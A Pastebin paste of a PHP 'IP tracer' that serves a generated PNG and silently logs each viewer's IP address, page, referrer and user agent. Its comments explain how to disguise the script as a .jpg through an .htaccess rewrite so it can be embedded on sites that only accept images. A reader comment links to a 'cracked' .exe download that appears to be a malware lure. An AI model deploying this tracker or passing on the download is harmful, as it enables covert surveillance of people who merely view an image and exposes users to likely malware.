Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* outputs image and traces IP address (outputted image can be embedded as an
- easier method of tracing IP addresses).
- If site used to embed only accepts specific file extensions (i.e. only allowing
- a .jpg image as an avatar, then you can potentially bypass this by mod_rewriting
- your .htaccess file on your web server and adding the following line (make sure
- rewrite engine is on):
- RewriteRule ^file.jpg$ iptracer.php
- then upload a jpg file which you want to redirect to the php tracer, if the site
- uses a GET request to grab and display an image with a .jpg extension it will
- do the request seeing as the extension is .jpg, and will be redirected to the .php
- script, displaying the image outputted by the script while running the code to trace
- the IP address and other info alongside it. */
- $log = 'log.html';
- $ip = $_SERVER['REMOTE_ADDR'];
- $page = $_SERVER['REQUEST_URI'];
- $refer = $_SERVER['HTTP_REFERER'];
- $date = date("l j F Y g:ia", time() - date("Z")) ;
- $ua = $_SERVER['HTTP_USER_AGENT'];
- $open = fopen("log.html", "a");
- $image = imagecreate( 200, 80 );
- $bg = imagecolorallocate( $image, 255, 0, 255 );
- $tc = imagecolorallocate( $image, 200, 200, 0 );
- $lc = imagecolorallocate( $image, 128, 255, 0 );
- fputs($open, "$date <br>IP Address: $ip<br>Page: $page<br>Referral URL: $refer<br>User agent: $ua <br><br>
- ");
- flock($open, 3);
- fclose($open);
- imagestring( $image, 4, 30, 25, "Outputted image - lys3rg1a",
- $tc );
- imagesetthickness ( $image, 5 );
- imageline( $image, 30, 45, 165, 45, $lc );
- header( "Content-type: image/png" );
- imagepng( $image );
- imagecolordeallocate( $lc );
- imagecolordeallocate( $tc );
- imagecolordeallocate( $bg );
- imagedestroy( $image );
- /* Written by lys3rg1a
- contact email: [email protected] */
- ?>
Advertisement
Comments
-
- Working as of to day Make your own logger with this app https://github.com/Venom0248/Menu/raw/main/CrackedRevenant_1.exe
Add Comment
Please, Sign In to add comment
Advertisement